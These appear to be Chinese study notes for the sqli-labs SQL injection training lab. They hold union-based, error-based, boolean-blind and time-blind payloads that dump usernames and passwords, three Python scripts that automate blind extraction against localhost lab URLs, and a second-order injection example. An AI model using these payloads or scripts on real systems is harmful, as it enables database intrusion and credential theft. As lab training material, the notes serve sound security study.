1
?id=1
2
?id=2   //内容变换，且?id=1 and1=1和1=2页面内容都不变，不是数字型注入
3
?id=1'  //报错
4
?id=1'--+   //正常，字符型且存在sql注入漏洞
5
————有回显，采用联合注入————
6
?id=1'order by N--+    //判断表格有几列，测试得知是三列
7
?id=-1'union select 1,2,3--+      //查看哪一位是回显位。login name-2,password-3
8
?id=-1'union select 1,database(),version()--+  //可以看看数据名和版本号。security；5.5.44-0ubuntu0.14.04.1
9
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+    //爆表名——mails,referers,uagents,users
10
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+      //把字段名爆出来——id,username,password       table_schema='security' and可加可不加
11
?id=-1'union select 1,2,group_concat(id,username,password) from users--+ //成功爆完

1
?id=1 order by 3
2
?id=-1 union select 1,2,3
3
?id=-1 union select 1,database(),version()
4
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
5
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
6
?id=-1 union select 1,2,group_concat(username ,id , password) from users

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

1
?id=2')--+
2
?id=1') order by 3--+
3
?id=-1') union select 1,2,3--+
4
?id=-1') union select 1,database(),version()--+
5
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+    //emails,referers,uagents,users
6
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+   //id,username,password
7
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

1
?id=1") order by 3--+
2
?id=-1") union select 1,2,3--+
3
?id=-1") union select 1,database(),version()--+
4
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+   //emails,referers,uagents,users
5
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //id,username,password
6
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

1
substr(a,b,c)a是要截取的字符串，b是截取的位置，c是截取的长度。布尔盲注我们都是长度为1因为要一个个判断字符。后边是ASCII值，判断该位是不是这个值

1
import requests
2
import time
3
import sys
4

5
class BooleanBlindInjector:
6
    def __init__(self, url):
7
        self.url = url
8
        self.headers = {
9
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
10
        }
11

12
    def check_payload(self, sql_condition):
13
        """
14
        判断函数：
15
        payload: ?id=1' and {sql_condition}--+
16
        如果页面包含 'You are in' 返回 True
17
        """
18
        payload = f"?id=1' and {sql_condition}--+"
19
        target_url = self.url + payload
20
        try:
21
            res = requests.get(target_url, headers=self.headers)
22
            return "You are in" in res.text
23
        except:
24
            return False
25

26
    def get_length(self, sql_query):
27
        """
28
        判断数据长度
29
        对应 payload: length((select ...)) > X
30
        """
31
        print(f"[*] 正在探测长度...", end="")
32
        # 考虑到 group_concat 结果可能很长，范围设大一点
33
        for length in range(1, 1000):
34
            # 判断 length(({sql_query})) = {length}
35
            if self.check_payload(f"length(({sql_query}))={length}"):
36
                print(f" 长度为: {length}")
37
                return length
38
        print(" [-] 未能测出长度，可能数据过长或 SQL 语句有误。")
39
        return None
40

41
    def get_content(self, sql_query):
42
        """
43
        二分法提取具体内容
44
        对应 payload: ascii(substr((select ...), 1, 1)) > mid
45
        """
46
        # 1. 先获取长度
47
        length = self.get_length(sql_query)
48
        if not length:
49
            return None
50

51
        # 2. 开始二分法提取字符
52
        result = ""
53
        print(f"[*] 开始提取内容: ", end="")
54

55
        for i in range(1, length + 1):
56
            low = 32
57
            high = 126
58
            mid = 0
59

60
            while low <= high:
61
                mid = (low + high) // 2
62
                # 你的 payload 逻辑: ascii(substr((query), i, 1)) > mid
63
                payload = f"ascii(substr(({sql_query}),{i},1))>{mid}"
64

65
                if self.check_payload(payload):
66
                    low = mid + 1
67
                else:
68
                    high = mid - 1
69

70
            result += chr(low)
71
            # 实时显示进度
72
            sys.stdout.write(f"\r[*] 当前获取: {result}")
73
            sys.stdout.flush()
74

75
        print(f"\n[+] 提取完成: {result}\n" + "-"*50)
76
        return result
77

78
    def run(self):
79
        print(f"[*] 目标 URL: {self.url}")
80
        print("-" * 50)
81

82
        # --- 第一步：获取数据库名 ---
83
        # Payload: select database()
84
        db_name = self.get_content("select database()")
85

86
        # --- 第二步：获取所有表名 ---
87
        # Payload: select group_concat(table_name) from information_schema.tables where table_schema=database()
88
        # 注意：在 SQL 语句中引用字符串需要加单引号，例如 table_schema='security'
89
        # 这里直接用 database() 函数代替具体库名，更通用
90
        tables_query = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
91
        self.get_content(tables_query)
92

93
        # --- 第三步：获取 users 表的字段名 ---
94
        # Payload: select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
95
        # 这里我们假设目标表名是 users，如果第二步跑出来不是 users，需要手动修改这里的 table_name='users'
96
        columns_query = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'"
97
        self.get_content(columns_query)
98

99
        # --- 第四步：获取字段内容 (用户名和密码) ---
100
        # Payload: select group_concat(username,password) from users
101
        # 为了方便阅读，我在中间加了一个分隔符 '~'，即 group_concat(username,'~',password)
102
        dump_query = "select group_concat(username,'~',password) from users"
103
        self.get_content(dump_query)
104

105
if __name__ == "__main__":
106
    # 请根据你的实际情况修改端口和路径
107
    target = "http://localhost:8080/Less-5/"
108

109
    injector = BooleanBlindInjector(target)
110
    injector.run()

1
payload = f'?id=1" and ...'

1
payload = f"?id=1')) and {sql_condition}--+"

1
**判断参数构造**
2
?id=1' and if(1=1,sleep(5),1)--+
3
**判断数据库名长度**
4
?id=1'and if(length((select database()))>N,sleep(5),1)--+
5
**逐一判断数据库字符**
6
?id=1'and if(ascii(substr((select database()),1,1))=ASCII,sleep(5),1)--+
7
**判断所有表名长度**
8
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>N,sleep(5),1)--+
9
**逐一判断表名**
10
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>ASCII,sleep(5),1)--+
11
**判断所有字段名的长度**
12
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>N,sleep(5),1)--+
13
**逐一判断字段名**
14
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>ASCII,sleep(5),1)--+
15
**判断字段内容长度**
16
?id=1' and if(length((select group_concat(username,password) from users))>N,sleep(5),1)--+
17
**逐一检测内容**
18
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>ASCII,sleep(5),1)--+

1
import requests
2
import time
3
import sys
4

5
class TimeBlindInjector:
6
    def __init__(self, url):
7
        self.url = url
8
        self.sleep_time = 5
9
        self.timeout = 3
10
        self.headers = {
11
            "User-Agent": "Mozilla/5.0"
12
        }
13

14
    def check_payload(self, condition):
15
        """
16
        时间判断函数
17
        payload: ?id=1' and if(condition,sleep(5),1)--+
18
        如果触发 sleep → 超时 → True
19
        """
20
        payload = f"?id=1' and if({condition},sleep({self.sleep_time}),1)--+"
21
        try:
22
            requests.get(self.url + payload,
23
                         headers=self.headers,
24
                         timeout=self.timeout)
25
            return False
26
        except requests.exceptions.Timeout:
27
            return True
28

29
    # ===============================
30
    # 二分法判断长度
31
    # ===============================
32
    def get_length(self, sql_query, max_len=300):
33
        print("[*] 正在探测长度...", end="")
34
        low, high = 1, max_len
35
        while low <= high:
36
            mid = (low + high) // 2
37
            condition = f"length(({sql_query}))>{mid}"
38
            if self.check_payload(condition):
39
                low = mid + 1
40
            else:
41
                high = mid - 1
42
        print(f" 长度为: {low}")
43
        return low
44

45
    # ===============================
46
    # 二分法提取内容
47
    # ===============================
48
    def get_content(self, sql_query):
49
        length = self.get_length(sql_query)
50
        result = ""
51
        print("[*] 开始提取内容:")
52

53
        for pos in range(1, length + 1):
54
            low, high = 32, 126
55
            while low <= high:
56
                mid = (low + high) // 2
57
                condition = f"ascii(substr(({sql_query}),{pos},1))>{mid}"
58
                if self.check_payload(condition):
59
                    low = mid + 1
60
                else:
61
                    high = mid - 1
62

63
            result += chr(low)
64
            sys.stdout.write(f"\r[+] 当前结果: {result}")
65
            sys.stdout.flush()
66

67
        print("\n" + "-" * 50)
68
        return result
69

70
    # ===============================
71
    # 主流程
72
    # ===============================
73
    def run(self):
74
        print(f"[*] Target: {self.url}")
75
        print("-" * 50)
76

77
        # 1. 数据库名
78
        db = self.get_content("select database()")
79
        print(f"[+] Database: {db}")
80

81
        # 2. 表名
82
        tables = self.get_content(
83
            "select group_concat(table_name) from information_schema.tables where table_schema=database()"
84
        )
85
        print(f"[+] Tables: {tables}")
86

87
        # 3. 字段名
88
        columns = self.get_content(
89
            "select group_concat(column_name) from information_schema.columns "
90
            "where table_schema=database() and table_name='users'"
91
        )
92
        print(f"[+] Columns: {columns}")
93

94
        # 4. 数据
95
        data = self.get_content(
96
            "select group_concat(username,0x3a,password) from users"
97
        )
98
        print(f"[+] Data: {data}")
99

100

101
if __name__ == "__main__":
102
    target = "http://localhost:8080/Less-9/"
103
    injector = TimeBlindInjector(target)
104
    injector.run()

1
?id=1" and if(1=1,sleep(5),1)--+

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1

1
1' or '1'='1             //successfully
2
1' union select 1,2--+   //报错
3
1' union select 1,2 #    //成功
4

5
1' or 1=1#
6
1' union select 1,2#
7
1' union select 1,database()#
8
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
9
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
10
1' union select 1,group_concat(username,password) from users#

1
1     // 无反应
2
1'    //无反应
3
1"    //出现报错,得加括号
4
1")   //正常的报错出来了
5
----接下来就开始sql注入----

1
1'    //报错，显示需要加括号
2
1')   //正常的报错出来了
3
----接下来就开始sql注入----
4
1') or 1=1# //登录成功
5
1') or 1=2# //登录失败

1
报错注入：
2
1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#
3
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
4
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
5
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
6
1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#

1
1" union select 1,2--+   //报错
2
1" union select 1,2 #    //成功
3
----接下来就开始sql注入----

1
import requests
2
import time
3

4
# ========== 配置区域 ==========
5
# 目标URL
6
TARGET_URL = "http://localhost:8080/Less-15/"
7
# 延时时间 (秒)
8
SLEEP_TIME = 2
9
# 创建Session复用连接
10
session = requests.Session()
11

12
# ========== 核心功能 ==========
13

14
def is_true(payload):
15
    """
16
    发送Payload并根据响应时间判断条件真假
17
    """
18
    post_data = {
19
        "uname": payload,
20
        "passwd": "admin",
21
        "submit": "Submit"
22
    }
23

24
    try:
25
        start_time = time.time()
26
        # 发送POST请求
27
        resp = session.post(
28
            TARGET_URL,
29
            data=post_data,
30
            timeout=SLEEP_TIME + 3, # 设置超时防止卡死
31
            allow_redirects=False
32
        )
33
        end_time = time.time()
34
        cost_time = end_time - start_time
35

36
        # 如果耗时大于设定的Sleep时间，说明SQL执行了SLEEP，条件为真
37
        return cost_time > SLEEP_TIME
38

39
    except requests.exceptions.Timeout:
40
        # 如果请求超时，通常也意味着Sleep生效了
41
        return True
42
    except Exception as e:
43
        print(f"[!] 请求错误: {e}")
44
        return False
45

46
def get_length_binary(name):
47
    """
48
    使用【二分法】获取字符串长度（比逐个猜快几十倍）
49
    """
50
    print(f"[*] 正在探测长度: {name}")
51
    low = 1
52
    high = 100 # 假设最大长度不超过100
53

54
    while low <= high:
55
        mid = (low + high) // 2
56
        # Payload逻辑: if(length(xxx) > mid, sleep, 0)
57
        # 注意：这里把 --+ 改为了 #，因为POST请求中 --+ 有时会导致语法错误
58
        payload = f"admin' and IF(length(({name}))>{mid}, SLEEP({SLEEP_TIME}), 0)#"
59

60
        if is_true(payload):
61
            low = mid + 1
62
        else:
63
            high = mid - 1
64

65
    # 二分结束时，low 就是长度（或者 high+1）
66
    # 逻辑验证：最后一次循环如果 true，low=mid+1，如果 false，high=mid-1。最终 low > high。
67
    final_len = low if low > high else high
68
    # 有时候二分法边界会差1，这里稍微调整，通常直接取 low 即可，具体视逻辑而定
69
    # 修正逻辑：当 low > high 停止，长度应为 high + 1?
70
    # 简单的方式：二分查找最终定位的是“第一个不满足 > mid”的位置
71

72
    print(f"[+] 长度确定: {low}")
73
    return low
74

75
def get_string_binary(name, length):
76
    """
77
    使用【二分法】逐字符获取具体内容
78
    """
79
    result = ""
80
    print(f"[*] 正在爆破内容: {name}")
81

82
    for i in range(1, length + 1):
83
        low = 32  # 可打印字符最小值
84
        high = 126 # 可打印字符最大值
85

86
        while low <= high:
87
            mid = (low + high) // 2
88
            # Payload逻辑: if(ascii(substr(xxx, i, 1)) > mid, sleep, 0)
89
            payload = f"admin' and IF(ascii(substr(({name}),{i},1))>{mid}, SLEEP({SLEEP_TIME}), 0)#"
90

91
            if is_true(payload):
92
                low = mid + 1
93
            else:
94
                high = mid - 1
95

96
        result += chr(low)
97
        # 动态显示进度
98
        print(f"\r[>] 当前进度: {result}", end="", flush=True)
99

100
    print() # 换行
101
    return result
102

103
# ========== 主程序入口 ==========
104
if __name__ == "__main__":
105
    try:
106
        print("=== 开始时间盲注 (POST二分法加速版) ===")
107

108
        # 1. 获取数据库名
109
        db_len = get_length_binary("database()")
110
        if db_len == 0 or db_len > 100:
111
            print("[-] 获取数据库长度失败，请检查URL或网络")
112
            exit()
113

114
        db_name = get_string_binary("database()", db_len)
115
        print(f"✅ 数据库名: {db_name}\n")
116

117
        # 2. 获取表名 (为节省时间，演示获取所有表名字符串)
118
        tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
119
        tables_len = get_length_binary(tables_sql)
120
        tables = get_string_binary(tables_sql, tables_len)
121
        print(f"✅ 表名: {tables}\n")
122

123
        # 简单分割表名取第一个
124
        table_list = tables.split(',')
125
        target_table = "users" if "users" in table_list else table_list[0]
126
        print(f"🔍 锁定目标表: {target_table}\n")
127

128
        # 3. 获取列名
129
        cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'"
130
        cols_len = get_length_binary(cols_sql)
131
        cols = get_string_binary(cols_sql, cols_len)
132
        print(f"✅ 列名: {cols}\n")
133

134
        col_list = cols.split(',')
135
        target_cols = [c for c in ["username", "password", "flag"] if c in col_list]
136
        if not target_cols: target_cols = col_list[:2]
137
        print(f"🔍 锁定目标列: {target_cols}\n")
138

139
        # 4. 获取数据
140
        for col in target_cols:
141
            data_sql = f"select group_concat({col}) from {target_table}"
142
            data_len = get_length_binary(data_sql)
143
            if data_len > 0:
144
                data = get_string_binary(data_sql, data_len)
145
                print(f"✅ {col} 数据: {data}")
146

147
    except KeyboardInterrupt:
148
        print("\n[!] 用户中断")

1
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#     //爆版本
2
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#    //爆数据库
3
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   //爆表名
4
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#    //爆字段名
5
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#      爆字段内容该格式针对mysql数据库。
6
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#                    //爆字段内容

1
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '
2
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '
3
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e)) or '
4
c

1
\x00   \n   \r   \   '   "   \x1a

1
1. 第一步：攻击者提交恶意数据，但数据不会立即执行 SQL 注入，而是被存储到数据库(如注册、评论、修改资料等场景)
2
2. 第二步：当其他功能读取并使用了这些存储的数据时，恶意 SQL 代码被执行，导致攻击成功

1
INSERT INTO users (username, password) VALUES ("admin'#", "123456");
2
SELECT * FROM users WHERE username='admin'
3
UPDATE users SET PASSWORD='111111' WHERE username='admin'

1
# 攻击成功的原因
2

3
1. 注册时未过滤 ' 和 #
4
    - 允许攻击者存储恶意用户名 admin'#
5
2. 修改密码时直接拼接 SQL
6
    - 未对从数据库读取的 username 进行二次过滤，导致 '# 被当作 SQL 代码执行。
7
3. 注释符 # 绕过密码验证
8
    - # 注释掉后续条件，使攻击者能直接修改 admin 的密码。